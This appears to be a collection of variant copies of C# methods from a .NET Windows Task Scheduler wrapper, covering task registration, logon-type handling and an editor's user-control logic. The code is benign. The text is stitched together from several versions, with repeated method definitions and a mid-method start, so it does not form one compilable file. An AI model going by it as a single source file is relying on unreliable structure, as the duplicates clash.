case TaskLogonType.InteractiveTokenOrPassword:
flags |= TaskFlags.Interactive;
using (CoTaskMemString cpwd = new CoTaskMemString(password))
definition.v1Task.SetAccountInformation(user.Name, cpwd.DangerousGetHandle());
break;
case TaskLogonType.Password:
using (CoTaskMemString cpwd = new CoTaskMemString(password))
definition.v1Task.SetAccountInformation(user.Name, cpwd.DangerousGetHandle());
break;
default:
throw new ArgumentOutOfRangeException(nameof(logonType), logonType, null);
}
definition.v1Task.SetFlags(flags);
switch (createType)
{
case TaskCreation.Create:
case TaskCreation.CreateOrUpdate:
case TaskCreation.Disable:
case TaskCreation.Update:
if (createType == TaskCreation.Disable)
{
definition.Settings.Enabled = false;
}
definition.V1Save(path);
break;
case TaskCreation.DontAddPrincipalAce:
throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0.");
case TaskCreation.IgnoreRegistrationTriggers:
throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0.");
case TaskCreation.ValidateOnly:
throw new NotV1SupportedException("XML validation not available on Task Scheduler 1.0.");
default:
throw new ArgumentOutOfRangeException(nameof(createType), createType, null);
}
return(new Task(TaskService, definition.v1Task));
}
/// <summary>
/// Registers (creates) a task in a specified location using a <see cref="TaskDefinition" /> instance to define a task.
/// </summary>
/// <param name="Path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
/// <param name="definition">The <see cref="TaskDefinition" /> of the registered task.</param>
/// <param name="createType">A union of <see cref="TaskCreation" /> flags.</param>
/// <param name="UserId">The user credentials used to register the task.</param>
/// <param name="password">The password for the userId used to register the task.</param>
/// <param name="LogonType">A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.</param>
/// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
/// <returns>
/// A <see cref="Task" /> instance that represents the new task. This will return <c>null</c> if <paramref name="createType"/> is set to <c>ValidateOnly</c> and there are no validation errors.
/// </returns>
/// <exception cref="System.ArgumentOutOfRangeException">
/// Path;Task names may not include any characters which are invalid for file names.
/// or
/// Path;Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.
/// </exception>
/// <exception cref="NotV1SupportedException">This LogonType is not supported on Task Scheduler 1.0.
/// or
/// Security settings are not available on Task Scheduler 1.0.
/// or
/// Registration triggers are not available on Task Scheduler 1.0.
/// or
/// Xml validation not available on Task Scheduler 1.0.</exception>
public Task RegisterTaskDefinition(string Path, TaskDefinition definition, TaskCreation createType, string UserId, string password = null, TaskLogonType LogonType = TaskLogonType.S4U, string sddl = null)
{
if (v2Folder != null)
{
definition.Actions.ConvertUnsupportedActions();
var iRegTask = v2Folder.RegisterTaskDefinition(Path, definition.v2Def, (int)createType, UserId, password, LogonType, sddl);
if (createType == TaskCreation.ValidateOnly && iRegTask == null)
{
return(null);
}
return(Task.CreateTask(this.TaskService, iRegTask));
}
// Check for V1 invalid task names
string invChars = System.Text.RegularExpressions.Regex.Escape(new string(System.IO.Path.GetInvalidFileNameChars()));
if (System.Text.RegularExpressions.Regex.IsMatch(Path, @"[" + invChars + @"]"))
{
throw new ArgumentOutOfRangeException("Path", "Task names may not include any characters which are invalid for file names.");
}
if (System.Text.RegularExpressions.Regex.IsMatch(Path, @"\.[^" + invChars + @"]{0,3}\z"))
{
throw new ArgumentOutOfRangeException("Path", "Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.");
}
// Adds ability to set a password for a V1 task. Provided by Arcao.
V1Interop.TaskFlags flags = definition.v1Task.GetFlags();
if (LogonType == TaskLogonType.InteractiveTokenOrPassword && string.IsNullOrEmpty(password))
{
LogonType = TaskLogonType.InteractiveToken;
}
if (string.IsNullOrEmpty(UserId))
{
UserId = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
}
switch (LogonType)
{
case TaskLogonType.Group:
case TaskLogonType.S4U:
case TaskLogonType.None:
throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0.");
case TaskLogonType.InteractiveToken:
flags |= (V1Interop.TaskFlags.RunOnlyIfLoggedOn | V1Interop.TaskFlags.Interactive);
if (String.IsNullOrEmpty(UserId))
{
UserId = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
}
definition.v1Task.SetAccountInformation(UserId, IntPtr.Zero);
break;
case TaskLogonType.ServiceAccount:
flags &= ~(V1Interop.TaskFlags.Interactive | V1Interop.TaskFlags.RunOnlyIfLoggedOn);
definition.v1Task.SetAccountInformation((String.IsNullOrEmpty(UserId) || UserId.Equals("SYSTEM", StringComparison.CurrentCultureIgnoreCase)) ? String.Empty : UserId, IntPtr.Zero);
break;
case TaskLogonType.InteractiveTokenOrPassword:
flags |= V1Interop.TaskFlags.Interactive;
using (V1Interop.CoTaskMemString cpwd = new V1Interop.CoTaskMemString(password))
definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
break;
case TaskLogonType.Password:
using (V1Interop.CoTaskMemString cpwd = new V1Interop.CoTaskMemString(password))
definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
break;
default:
break;
}
definition.v1Task.SetFlags(flags);
switch (createType)
{
case TaskCreation.Create:
case TaskCreation.CreateOrUpdate:
case TaskCreation.Disable:
case TaskCreation.Update:
if (createType == TaskCreation.Disable)
{
definition.Settings.Enabled = false;
}
definition.V1Save(Path);
break;
case TaskCreation.DontAddPrincipalAce:
throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0.");
case TaskCreation.IgnoreRegistrationTriggers:
throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0.");
case TaskCreation.ValidateOnly:
throw new NotV1SupportedException("Xml validation not available on Task Scheduler 1.0.");
default:
break;
}
return(new Task(this.TaskService, definition.v1Task));
}
/// <summary>
/// Registers (creates) a new task in the folder using XML to define the task.
/// </summary>
/// <param name="Path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
/// <param name="XmlText">An XML-formatted definition of the task.</param>
/// <param name="createType">A union of <see cref="TaskCreation"/> flags.</param>
/// <param name="UserId">The user credentials used to register the task.</param>
/// <param name="password">The password for the userId used to register the task.</param>
/// <param name="LogonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
/// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
/// <returns>A <see cref="Task"/> instance that represents the new task.</returns>
public Task RegisterTask(string Path, string XmlText, TaskCreation createType = TaskCreation.CreateOrUpdate, string UserId = null, string password = null, TaskLogonType LogonType = TaskLogonType.S4U, string sddl = null)
{
if (v2Folder != null)
{
return(Task.CreateTask(this.TaskService, v2Folder.RegisterTask(Path, XmlText, (int)createType, UserId, password, LogonType, sddl)));
}
try
{
TaskDefinition td = this.TaskService.NewTask();
XmlSerializationHelper.ReadObjectFromXmlText(XmlText, td);
return(this.RegisterTaskDefinition(Path, td, createType, UserId == null ? td.Principal.ToString() : UserId,
password, LogonType == TaskLogonType.S4U ? td.Principal.LogonType : LogonType, sddl));
}
catch
{
throw; // new NotV1SupportedException();
}
}
/// <summary>
/// Creates a new task, registers the task, and returns the instance.
/// </summary>
/// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
/// <param name="trigger">The <see cref="Trigger" /> to determine when to run the task.</param>
/// <param name="exePath">The executable path.</param>
/// <param name="arguments">The arguments (optional). Value can be NULL.</param>
/// <param name="userId">The user credentials used to register the task.</param>
/// <param name="password">The password for the userId used to register the task.</param>
/// <param name="logonType">A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.</param>
/// <param name="description">The task description.</param>
/// <returns>
/// A <see cref="Task" /> instance of the registered task.
/// </returns>
public Task AddTask([NotNull] string path, QuickTriggerType trigger, [NotNull] string exePath, string arguments = null, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.InteractiveToken, string description = null)
{
// Create a trigger based on quick trigger
Trigger newTrigger;
switch (trigger)
{
case QuickTriggerType.Boot:
newTrigger = new BootTrigger();
break;
case QuickTriggerType.Idle:
newTrigger = new IdleTrigger();
break;
case QuickTriggerType.Logon:
newTrigger = new LogonTrigger();
break;
case QuickTriggerType.TaskRegistration:
newTrigger = new RegistrationTrigger();
break;
case QuickTriggerType.Hourly:
newTrigger = new DailyTrigger {
Repetition = new RepetitionPattern(TimeSpan.FromHours(1), TimeSpan.FromDays(1))
};
break;
case QuickTriggerType.Daily:
newTrigger = new DailyTrigger();
break;
case QuickTriggerType.Weekly:
newTrigger = new WeeklyTrigger();
break;
case QuickTriggerType.Monthly:
newTrigger = new MonthlyTrigger();
break;
default:
throw new ArgumentOutOfRangeException(nameof(trigger), trigger, null);
}
return(AddTask(path, newTrigger, new ExecAction(exePath, arguments), userId, password, logonType, description));
}
/// <summary>
/// Creates a new task, registers the task, and returns the instance.
/// </summary>
/// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
/// <param name="trigger">The <see cref="Trigger"/> to determine when to run the task.</param>
/// <param name="action">The <see cref="Action"/> to determine what happens when the task is triggered.</param>
/// <param name="userId">The user credentials used to register the task.</param>
/// <param name="password">The password for the userId used to register the task.</param>
/// <param name="logonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
/// <param name="description">The task description.</param>
/// <returns>
/// A <see cref="Task"/> instance of the registered task.
/// </returns>
public Task AddTask([NotNull] string path, [NotNull] Trigger trigger, [NotNull] Action action, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.InteractiveToken, string description = null)
{
TaskDefinition td = NewTask();
if (!string.IsNullOrEmpty(description))
{
td.RegistrationInfo.Description = description;
}
// Create a trigger that will fire the task at a specific date and time
td.Triggers.Add(trigger);
// Create an action that will launch Notepad whenever the trigger fires
td.Actions.Add(action);
// Register the task in the root folder
return(RootFolder.RegisterTaskDefinition(path, td, TaskCreation.CreateOrUpdate, userId, password, logonType));
}
private void SetUserControls(TaskLogonType logonType)
{
switch (logonType)
{
case TaskLogonType.InteractiveToken:
flagRunOnlyWhenUserIsLoggedOn = true;
flagExecutorIsServiceAccount = false;
flagExecutorIsGroup = false;
break;
case TaskLogonType.Group:
flagRunOnlyWhenUserIsLoggedOn = true;
flagExecutorIsServiceAccount = false;
flagExecutorIsGroup = true;
break;
case TaskLogonType.ServiceAccount:
flagRunOnlyWhenUserIsLoggedOn = false;
flagExecutorIsServiceAccount = true;
flagExecutorIsGroup = false;
break;
default:
flagRunOnlyWhenUserIsLoggedOn = false;
flagExecutorIsServiceAccount = false;
flagExecutorIsGroup = false;
break;
}
if (flagExecutorIsServiceAccount)
{
taskLoggedOnRadio.Enabled = false;
taskLoggedOptionalRadio.Enabled = false;
taskLocalOnlyCheck.Enabled = false;
}
else if (flagExecutorIsGroup)
{
taskLoggedOnRadio.Enabled = true;
taskLoggedOptionalRadio.Enabled = false;
taskLocalOnlyCheck.Enabled = false;
}
else if (flagRunOnlyWhenUserIsLoggedOn)
{
taskLoggedOnRadio.Enabled = true;
taskLoggedOptionalRadio.Enabled = true;
taskLocalOnlyCheck.Enabled = false;
}
else
{
taskLoggedOnRadio.Enabled = true;
taskLoggedOptionalRadio.Enabled = true;
taskLocalOnlyCheck.Enabled = true && (task == null || IsV2);
}
taskLoggedOnRadio.Checked = flagRunOnlyWhenUserIsLoggedOn;
taskLoggedOptionalRadio.Checked = !flagRunOnlyWhenUserIsLoggedOn;
taskLocalOnlyCheck.Checked = !flagRunOnlyWhenUserIsLoggedOn && logonType == TaskLogonType.S4U;
string user = td == null ? null : td.Principal.ToString();
if (string.IsNullOrEmpty(user))
{
user = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
}
taskPrincipalText.Text = user;
}
/// <summary>
/// Registers (creates) a task in a specified location using a <see cref="TaskDefinition"/> instance to define a task.
/// </summary>
/// <param name="Path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
/// <param name="definition">The <see cref="TaskDefinition"/> of the registered task.</param>
/// <param name="createType">A union of <see cref="TaskCreation"/> flags.</param>
/// <param name="UserId">The user credentials used to register the task.</param>
/// <param name="password">The password for the userId used to register the task.</param>
/// <param name="LogonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
/// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
/// <returns>A <see cref="Task"/> instance that represents the new task.</returns>
public Task RegisterTaskDefinition(string Path, TaskDefinition definition, TaskCreation createType, string UserId, string password, TaskLogonType LogonType, string sddl)
{
if (v2Folder != null)
return new Task(this.TaskService, v2Folder.RegisterTaskDefinition(Path, definition.v2Def, (int)createType, UserId, password, LogonType, sddl));
// Adds ability to set a password for a V1 task. Provided by Arcao.
V1Interop.TaskFlags flags = definition.v1Task.GetFlags();
switch (LogonType)
{
case TaskLogonType.Group:
case TaskLogonType.S4U:
case TaskLogonType.None:
throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0.");
case TaskLogonType.InteractiveToken:
flags |= (V1Interop.TaskFlags.RunOnlyIfLoggedOn | V1Interop.TaskFlags.Interactive);
if (String.IsNullOrEmpty(UserId))
UserId = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
definition.v1Task.SetAccountInformation(UserId, IntPtr.Zero);
break;
case TaskLogonType.ServiceAccount:
flags &= ~(V1Interop.TaskFlags.Interactive | V1Interop.TaskFlags.RunOnlyIfLoggedOn);
definition.v1Task.SetAccountInformation(String.IsNullOrEmpty(UserId) ? String.Empty : UserId, IntPtr.Zero);
break;
case TaskLogonType.InteractiveTokenOrPassword:
flags |= V1Interop.TaskFlags.Interactive;
using (V1Interop.CoTaskMemString cpwd = new V1Interop.CoTaskMemString(password))
definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
break;
case TaskLogonType.Password:
using (V1Interop.CoTaskMemString cpwd = new V1Interop.CoTaskMemString(password))
definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
break;
default:
break;
}
definition.v1Task.SetFlags(flags);
switch (createType)
{
case TaskCreation.Create:
case TaskCreation.CreateOrUpdate:
case TaskCreation.Disable:
case TaskCreation.Update:
if (createType == TaskCreation.Disable)
definition.Settings.Enabled = false;
definition.V1Save(Path);
break;
case TaskCreation.DontAddPrincipalAce:
throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0.");
case TaskCreation.IgnoreRegistrationTriggers:
throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0.");
case TaskCreation.ValidateOnly:
throw new NotV1SupportedException("Xml validation not available on Task Scheduler 1.0.");
default:
break;
}
return new Task(this.TaskService, definition.v1Task);
}
private void SetUserControls(TaskLogonType logonType)
{
bool editable = parent.Editable;
bool prevOnAssignment = onAssignment;
onAssignment = true;
switch (logonType)
{
case TaskLogonType.InteractiveToken:
this.flagRunOnlyWhenUserIsLoggedOn = true;
this.flagExecutorIsServiceAccount = false;
this.flagExecutorIsGroup = false;
break;
case TaskLogonType.Group:
this.flagRunOnlyWhenUserIsLoggedOn = true;
this.flagExecutorIsServiceAccount = false;
this.flagExecutorIsGroup = true;
break;
case TaskLogonType.ServiceAccount:
this.flagRunOnlyWhenUserIsLoggedOn = false;
this.flagExecutorIsServiceAccount = true;
this.flagExecutorIsGroup = false;
break;
default:
this.flagRunOnlyWhenUserIsLoggedOn = false;
this.flagExecutorIsServiceAccount = false;
this.flagExecutorIsGroup = false;
break;
}
if (this.flagExecutorIsServiceAccount)
{
taskLoggedOnRadio.Enabled = false;
taskLoggedOptionalRadio.Enabled = false;
taskLocalOnlyCheck.Enabled = false;
}
else if (this.flagExecutorIsGroup)
{
taskLoggedOnRadio.Enabled = editable;
taskLoggedOptionalRadio.Enabled = false;
taskLocalOnlyCheck.Enabled = false;
}
else if (this.flagRunOnlyWhenUserIsLoggedOn)
{
taskLoggedOnRadio.Enabled = editable;
taskLoggedOptionalRadio.Enabled = editable;
taskLocalOnlyCheck.Enabled = false;
}
else
{
taskLoggedOnRadio.Enabled = editable;
taskLoggedOptionalRadio.Enabled = editable;
taskLocalOnlyCheck.Enabled = editable && (parent.Task == null || parent.IsV2);
}
taskLoggedOnRadio.Checked = flagRunOnlyWhenUserIsLoggedOn;
taskLoggedOptionalRadio.Checked = !flagRunOnlyWhenUserIsLoggedOn;
taskLocalOnlyCheck.Checked = !flagRunOnlyWhenUserIsLoggedOn && logonType == TaskLogonType.S4U;
string user = td == null ? null : td.Principal.ToString();
if (string.IsNullOrEmpty(user))
user = WindowsIdentity.GetCurrent().Name;
taskPrincipalText.Text = user;
changePrincipalButton.Text = flagUserIsAnAdmin ? EditorProperties.Resources.ChangeUserBtn : EditorProperties.Resources.ChangeUserBtnNonAdmin;
onAssignment = prevOnAssignment;
}
/// <summary>
/// Registers (creates) a new task in the folder using XML to define the task.
/// </summary>
/// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
/// <param name="xmlText">An XML-formatted definition of the task.</param>
/// <param name="createType">A union of <see cref="TaskCreation"/> flags.</param>
/// <param name="userId">The user credentials used to register the task.</param>
/// <param name="password">The password for the userId used to register the task.</param>
/// <param name="logonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
/// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
/// <returns>A <see cref="Task"/> instance that represents the new task.</returns>
/// <example><code lang="cs"><![CDATA[
/// // Define a basic task in XML
/// var xml = "<?xml version=\"1.0\" encoding=\"UTF-16\"?>" +
/// "<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">" +
/// " <Principals>" +
/// " <Principal id=\"Author\">" +
/// " <UserId>S-1-5-18</UserId>" +
/// " </Principal>" +
/// " </Principals>" +
/// " <Triggers>" +
/// " <CalendarTrigger>" +
/// " <StartBoundary>2017-09-04T14:04:03</StartBoundary>" +
/// " <ScheduleByDay />" +
/// " </CalendarTrigger>" +
/// " </Triggers>" +
/// " <Actions Context=\"Author\">" +
/// " <Exec>" +
/// " <Command>cmd</Command>" +
/// " </Exec>" +
/// " </Actions>" +
/// "</Task>";
/// // Register the task in the root folder of the local machine using the SYSTEM account defined in XML
/// TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml);
/// ]]></code></example>
public Task RegisterTask(string path, [NotNull] string xmlText, TaskCreation createType = TaskCreation.CreateOrUpdate, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.S4U, string sddl = null)
{
if (v2Folder != null)
{
return(Task.CreateTask(TaskService, v2Folder.RegisterTask(path, xmlText, (int)createType, userId, password, logonType, sddl)));
}
TaskDefinition td = TaskService.NewTask();
XmlSerializationHelper.ReadObjectFromXmlText(xmlText, td);
return(RegisterTaskDefinition(path, td, createType, userId ?? td.Principal.ToString(),
password, logonType == TaskLogonType.S4U ? td.Principal.LogonType : logonType, sddl));
}
/// <summary>
/// Registers (creates) a task in a specified location using a <see cref="TaskDefinition" /> instance to define a task.
/// </summary>
/// <param name="Path"> The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. </param>
/// <param name="definition">
/// The <see cref="TaskDefinition" /> of the registered task.
/// </param>
/// <param name="createType">
/// A union of <see cref="TaskCreation" /> flags.
/// </param>
/// <param name="UserId"> The user credentials used to register the task. </param>
/// <param name="password"> The password for the userId used to register the task. </param>
/// <param name="LogonType">
/// A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.
/// </param>
/// <param name="sddl"> The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. </param>
/// <returns>
/// A <see cref="Task" /> instance that represents the new task.
/// </returns>
public Task RegisterTaskDefinition(string Path, TaskDefinition definition, TaskCreation createType, string UserId,
string password = null, TaskLogonType LogonType = TaskLogonType.S4U, string sddl = null)
{
if (v2Folder != null)
{
return(new Task(TaskService,
v2Folder.RegisterTaskDefinition(Path, definition.v2Def, (int)createType, UserId, password, LogonType, sddl)));
}
// Adds ability to set a password for a V1 task. Provided by Arcao.
var flags = definition.v1Task.GetFlags();
if (LogonType == TaskLogonType.InteractiveTokenOrPassword && string.IsNullOrEmpty(password))
{
LogonType = TaskLogonType.InteractiveToken;
}
switch (LogonType)
{
case TaskLogonType.Group:
case TaskLogonType.S4U:
case TaskLogonType.None:
throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0.");
case TaskLogonType.InteractiveToken:
flags |= (TaskFlags.RunOnlyIfLoggedOn | TaskFlags.Interactive);
if (String.IsNullOrEmpty(UserId))
{
UserId = WindowsIdentity.GetCurrent().Name;
}
definition.v1Task.SetAccountInformation(UserId, IntPtr.Zero);
break;
case TaskLogonType.ServiceAccount:
flags &= ~(TaskFlags.Interactive | TaskFlags.RunOnlyIfLoggedOn);
definition.v1Task.SetAccountInformation(
(String.IsNullOrEmpty(UserId) || UserId.Equals("SYSTEM", StringComparison.CurrentCultureIgnoreCase))
? String.Empty
: UserId, IntPtr.Zero);
break;
case TaskLogonType.InteractiveTokenOrPassword:
flags |= TaskFlags.Interactive;
using (var cpwd = new CoTaskMemString(password)) {
definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
}
break;
case TaskLogonType.Password:
using (var cpwd = new CoTaskMemString(password)) {
definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
}
break;
default:
break;
}
definition.v1Task.SetFlags(flags);
switch (createType)
{
case TaskCreation.Create:
case TaskCreation.CreateOrUpdate:
case TaskCreation.Disable:
case TaskCreation.Update:
if (createType == TaskCreation.Disable)
{
definition.Settings.Enabled = false;
}
definition.V1Save(Path);
break;
case TaskCreation.DontAddPrincipalAce:
throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0.");
case TaskCreation.IgnoreRegistrationTriggers:
throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0.");
case TaskCreation.ValidateOnly:
throw new NotV1SupportedException("Xml validation not available on Task Scheduler 1.0.");
default:
break;
}
return(new Task(TaskService, definition.v1Task));
}
private void SetUserControls(TaskLogonType logonType)
{
bool editable = parent.Editable;
bool prevOnAssignment = onAssignment;
onAssignment = true;
switch (logonType)
{
case TaskLogonType.InteractiveToken:
flagRunOnlyWhenUserIsLoggedOn = true;
flagExecutorIsServiceAccount = false;
flagExecutorIsGroup = false;
break;
case TaskLogonType.Group:
flagRunOnlyWhenUserIsLoggedOn = true;
flagExecutorIsServiceAccount = false;
flagExecutorIsGroup = true;
break;
case TaskLogonType.ServiceAccount:
flagRunOnlyWhenUserIsLoggedOn = false;
flagExecutorIsServiceAccount = true;
flagExecutorIsGroup = false;
break;
default:
flagRunOnlyWhenUserIsLoggedOn = false;
flagExecutorIsServiceAccount = false;
flagExecutorIsGroup = false;
break;
}
if (flagExecutorIsServiceAccount)
{
taskLoggedOnRadio.Enabled = false;
taskLoggedOptionalRadio.Enabled = false;
taskLocalOnlyCheck.Enabled = false;
}
else if (flagExecutorIsGroup)
{
taskLoggedOnRadio.Enabled = editable;
taskLoggedOptionalRadio.Enabled = false;
taskLocalOnlyCheck.Enabled = false;
}
else if (flagRunOnlyWhenUserIsLoggedOn)
{
taskLoggedOnRadio.Enabled = editable;
taskLoggedOptionalRadio.Enabled = editable;
taskLocalOnlyCheck.Enabled = false;
}
else
{
taskLoggedOnRadio.Enabled = editable;
taskLoggedOptionalRadio.Enabled = editable;
taskLocalOnlyCheck.Enabled = editable && parent.IsV2;
}
taskLoggedOnRadio.Checked = flagRunOnlyWhenUserIsLoggedOn;
taskLoggedOptionalRadio.Checked = !flagRunOnlyWhenUserIsLoggedOn;
taskLocalOnlyCheck.Checked = !flagRunOnlyWhenUserIsLoggedOn && logonType == TaskLogonType.S4U;
string user = td == null ? null : td.Principal.ToString();
if (string.IsNullOrEmpty(user))
{
user = WindowsIdentity.GetCurrent().Name;
}
taskPrincipalText.Text = user;
changePrincipalButton.Text = flagUserIsAnAdmin ? EditorProperties.Resources.ChangeUserBtn : EditorProperties.Resources.ChangeUserBtnNonAdmin;
onAssignment = prevOnAssignment;
}
/// <summary>
/// Creates a new task, registers the taks, and returns the instance.
/// </summary>
/// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
/// <param name="trigger">The <see cref="Trigger"/> to determine when to run the task.</param>
/// <param name="action">The <see cref="Action"/> to determine what happens when the task is triggered.</param>
/// <param name="UserId">The user credentials used to register the task.</param>
/// <param name="Password">The password for the userId used to register the task.</param>
/// <param name="LogonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
/// <returns>
/// A <see cref="Task"/> instance of the registered task.
/// </returns>
public Task AddTask(string path, Trigger trigger, Action action, string UserId = null, string Password = null, TaskLogonType LogonType = TaskLogonType.InteractiveToken)
{
TaskDefinition td = NewTask();
// Create a trigger that will fire the task at a specific date and time
td.Triggers.Add(trigger);
// Create an action that will launch Notepad whenever the trigger fires
td.Actions.Add(action);
// Register the task in the root folder
return RootFolder.RegisterTaskDefinition(path, td, TaskCreation.CreateOrUpdate, UserId, Password, LogonType);
}
